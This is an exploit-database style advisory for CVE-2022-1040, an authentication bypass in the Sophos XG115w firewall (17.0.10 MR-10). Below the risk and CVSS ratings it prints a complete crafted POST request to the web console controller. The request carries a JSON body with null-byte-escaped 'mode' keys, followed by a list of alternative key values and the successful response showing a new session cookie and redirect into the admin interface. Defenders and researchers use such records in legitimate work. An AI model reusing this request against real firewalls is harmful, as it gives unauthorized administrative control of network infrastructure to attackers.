Sophos XG115w Firewall 17.0.10 MR-10 Authentication Bypass

2022.08.12
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass # Date: 2022-08-09 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://www.sophos.com # Version: 17.0.10 MR-10 # Tested on: Windows 11 # CVE : CVE-2022-1040 # [ VULNERABILITY DETAILS ] : #This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication. # [ SAMPLE REQUEST ] : POST /webconsole/Controller HTTP/1.1 Host: 127.0.0.1:4444 Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Origin: https://127.0.0.1:4444 Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 192 mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066 # [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,... # [ Successful response ] : HTTP/1.1 200 OK Date: Thu, 04 Aug 2022 17:06:39 GMT Server: xxxx X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/plain;charset=utf-8 Content-Length: 53 Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly Connection: close {"redirectionURL":"/webpages/index.jsp","status":200}


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